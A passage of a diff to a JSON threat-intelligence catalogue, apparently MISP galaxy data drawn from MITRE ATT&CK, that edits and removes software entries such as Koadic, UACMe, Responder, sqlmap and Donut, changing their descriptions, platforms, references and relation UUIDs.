Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)", + "description": "[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool. [Koadic](https://attack.mitre.org/software/S0250) is publicly available on GitHub and the tool is executed via the command-line. [Koadic](https://attack.mitre.org/software/S0250) has several options for staging payloads and creating implants. [Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host. (Citation: Github Koadic) (Citation: Palo Alto Sofacy 06-2018)", "meta": { "external_id": "S0250", "mitre_platforms": [ @@ -1091,21 +1142,13 @@ "refs": [ "https://attack.mitre.org/software/S0250", "https://github.com/zerosum0x0/koadic", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" ], "synonyms": [ "Koadic" ] }, "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ @@ -1155,13 +1198,6 @@ ], "type": "uses" }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -1176,13 +1212,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ @@ -1190,20 +1219,6 @@ ], "type": "uses" }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ @@ -1218,13 +1233,6 @@ ], "type": "uses" }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ @@ -1232,13 +1240,6 @@ ], "type": "uses" }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -1564,7 +1565,14 @@ "type": "uses" }, { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1591,6 +1599,13 @@ ], "type": "uses" }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -1606,35 +1621,21 @@ "type": "uses" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1654,20 +1655,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -1676,7 +1663,21 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1733,9 +1734,15 @@ "description": "The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)", "meta": { "external_id": "S0057", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0057", "https://technet.microsoft.com/en-us/library/bb491010.aspx" + ], + "synonyms": [ + "Tasklist" ] }, "related": [ @@ -1825,7 +1832,7 @@ "value": "NBTscan - S0590" }, { - "description": "[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)", + "description": "[FTP](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data. (Citation: Wikipedia FTP)", "meta": { "external_id": "S0095", "mitre_platforms": [ @@ -1835,29 +1842,14 @@ ], "refs": [ "https://attack.mitre.org/software/S0095", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp", - "https://linux.die.net/man/1/ftp" + "https://en.wikipedia.org/wiki/File_Transfer_Protocol" ], "synonyms": [ - "ftp", + "FTP", "ftp.exe" ] }, "related": [ - { - "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", "tags": [ @@ -1874,15 +1866,22 @@ } ], "uuid": "cf23bf4a-e003-4116-bbae-1ea6c558d565", - "value": "ftp - S0095" + "value": "FTP - S0095" }, { "description": "[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)", "meta": { "external_id": "S0096", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0096", "https://technet.microsoft.com/en-us/library/bb491007.aspx" + ], + "synonyms": [ + "systeminfo.exe", + "Systeminfo" ] }, "related": [ @@ -1901,9 +1900,18 @@ "description": "[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)", "meta": { "external_id": "S0097", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0097", "https://technet.microsoft.com/en-us/library/bb490968.aspx" + ], + "synonyms": [ + "ping.exe", + "Ping" ] }, "related": [ @@ -1919,7 +1927,7 @@ "value": "Ping - S0097" }, { - "description": "[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", + "description": "[Arp](https://attack.mitre.org/software/S0099) displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)", "meta": { "external_id": "S0099", "mitre_platforms": [ @@ -1943,13 +1951,6 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "30489451-5886-4c46-90c9-0dff9adc5252", @@ -2014,9 +2015,15 @@ "description": "[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)", "meta": { "external_id": "S0116", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0116", "https://github.com/hfiref0x/UACME" + ], + "synonyms": [ + "UACMe" ] }, "related": [ @@ -2069,10 +2076,16 @@ "description": "[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)", "meta": { "external_id": "S0191", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0191", "https://github.com/skalkoto/winexe/", "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/" + ], + "synonyms": [ + "Winexe" ] }, "related": [ @@ -2098,9 +2111,15 @@ "description": "[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)", "meta": { "external_id": "S0123", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/", "https://attack.mitre.org/software/S0123" + ], + "synonyms": [ + "xCmd" ] }, "related": [ @@ -2125,8 +2144,8 @@ "refs": [ "https://attack.mitre.org/software/S0521", "https://github.com/BloodHoundAD/BloodHound", - "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", - "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf" + "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/" ], "synonyms": [ "BloodHound" @@ -2656,9 +2675,15 @@ "description": "[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)", "meta": { "external_id": "S0193", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0193", "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)" + ], + "synonyms": [ + "Forfiles" ] }, "related": [ @@ -2746,9 +2771,15 @@ "description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)", "meta": { "external_id": "S0174", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0174", "https://github.com/SpiderLabs/Responder" + ], + "synonyms": [ + "Responder" ] }, "related": [ @@ -3031,8 +3062,8 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/software/S0581", - "https://unit42.paloaltonetworks.com/ironnetinjector/" + " https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://attack.mitre.org/software/S0581" ], "synonyms": [ "IronNetInjector" @@ -3207,9 +3238,17 @@ "description": "[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)", "meta": { "external_id": "S0224", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "https://attack.mitre.org/software/S0224", "https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/" + ], + "synonyms": [ + "Havij" ] }, "related": [ @@ -3228,9 +3267,17 @@ "description": "[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)", "meta": { "external_id": "S0225", + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], "refs": [ "http://sqlmap.org/", "https://attack.mitre.org/software/S0225" + ], + "synonyms": [ + "sqlmap" ] }, "related": [ @@ -3776,7 +3823,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0552", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/ ", "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" ], @@ -3872,368 +3919,24 @@ "uuid": "03c6e0ea-96d3-4b23-9afb-05055663cf4b", "value": "RemoteUtilities - S0592" }, - { - "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)", - "meta": { - "external_id": "S0692", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0692", - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html" - ], - "synonyms": [ - "SILENTTRINITY" - ] - }, - "related": [ - { - "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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} - ], - "uuid": "1244e058-fa10-48cb-b484-0bcf671107ae", - "value": "SILENTTRINITY - S0692" - }, { "description": "[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)", "meta": { "external_id": "S0298", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/", "https://attack.mitre.org/software/S0298" + ], + "synonyms": [ + "Xbot" ] }, "related": [ { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4254,7 +3957,7 @@ "type": "similar" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4275,7 +3978,7 @@ "type": "similar" }, { - "dest-uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -4296,7 +3999,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0363", - "https://github.com/PowerShellEmpire/Empire", + "https://github.com/EmpireProject/Empire", "https://github.com/dstepanic/attck_empire", "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" ], @@ -5238,110 +4941,6 @@ "uuid": "981acc4c-2ede-4b56-be6e-fa1a75f37acf", "value": "Nltest - S0359" }, - { - "description": "[Peirates](https://attack.mitre.org/software/S0683) is a post-exploitation Kubernetes exploitation framework with a focus on gathering service account tokens for lateral movement and privilege escalation. The tool is written in GoLang and publicly available on GitHub.(Citation: Peirates GitHub)", - "meta": { - "external_id": "S0683", - "mitre_platforms": [ - "Containers" - ], - "refs": [ - "https://attack.mitre.org/software/S0683", - "https://github.com/inguardians/peirates" - ], - "synonyms": [ - "Peirates" - ] - }, - "related": [ - { - "dest-uuid": "0470e792-32f8-46b0-a351-652bc35e9336", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8565825b-21c8-4518-b75e-cbc4c717a156", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f8ef3a62-3f44-40a4-abca-761ab235c436", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "79dd477a-8226-4b3d-ad15-28623675f221", - "value": "Peirates - S0683" - }, { "description": "[ShimRatReporter](https://attack.mitre.org/software/S0445) is a tool used by suspected Chinese adversary [Mofang](https://attack.mitre.org/groups/G0103) to automatically conduct initial discovery. The details from this discovery are used to customize follow-on payloads (such as [ShimRat](https://attack.mitre.org/software/S0444)) as well as set up faux infrastructure which mimics the adversary's targets. [ShimRatReporter](https://attack.mitre.org/software/S0445) has been used in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development.(Citation: FOX-IT May 2016 Mofang)", "meta": { @@ -5563,65 +5162,6 @@ "uuid": "f91162cc-1686-4ff8-8115-bf3f61a4cc7a", "value": "Wevtutil - S0645" }, - { - "description": "[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)", - "meta": { - "external_id": "S0684", - "refs": [ - "https://attack.mitre.org/software/S0684", - "https://github.com/dirkjanm/ROADtools" - ], - "synonyms": [ - "ROADTools" - ] - }, - "related": [ - { - "dest-uuid": "16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f232fa7a-025c-4d43-abc7-318e81a73d65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "6dbdc657-d8e0-4f2f-909b-7251b3e72c6d", - "value": "ROADTools - S0684" - }, { "description": "[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)", "meta": { @@ -5781,400 +5321,7 @@ ], "uuid": "c4810609-7da6-48ec-8057-1b70a7814db0", "value": "CrackMapExec - S0488" - }, - { - "description": "[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode.(Citation: Donut Github)(Citation: Introducing Donut) [Donut](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory.(Citation: NCC Group WastedLocker June 2020)", - "meta": { - "external_id": "S0695", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0695", - "https://github.com/TheWover/donut", - "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", - "https://thewover.github.io/Introducing-Donut/" - ], - "synonyms": [ - "Donut" - ] - }, - "related": [ - { - "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "a7b5df47-73bb-4d47-b701-869f185633a6", - "value": "Donut - S0695" - }, - { - "description": "[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)", - "meta": { - "external_id": "S0677", - "mitre_platforms": [ - "Windows", - "Azure AD", - "Office 365" - ], - "refs": [ - "https://attack.mitre.org/software/S0677", - "https://github.com/Gerenios/AADInternals", - "https://o365blog.com/aadinternals", - "https://o365blog.com/aadinternals/" - ], - "synonyms": [ - "AADInternals" - ] - }, - "related": [ - { - "dest-uuid": "16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1f9c2bae-b441-4f66-a8af-b65946ee72f2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2d3f5b3c-54ca-4f4d-bb1f-849346d31230", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "69f897fd-12a9-4c89-ad6a-46d2f3c38262", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7decb26c-715c-40cf-b7e0-026f7d7cc215", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f104855-e5b7-4077-b1f5-bc3103b41abe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - 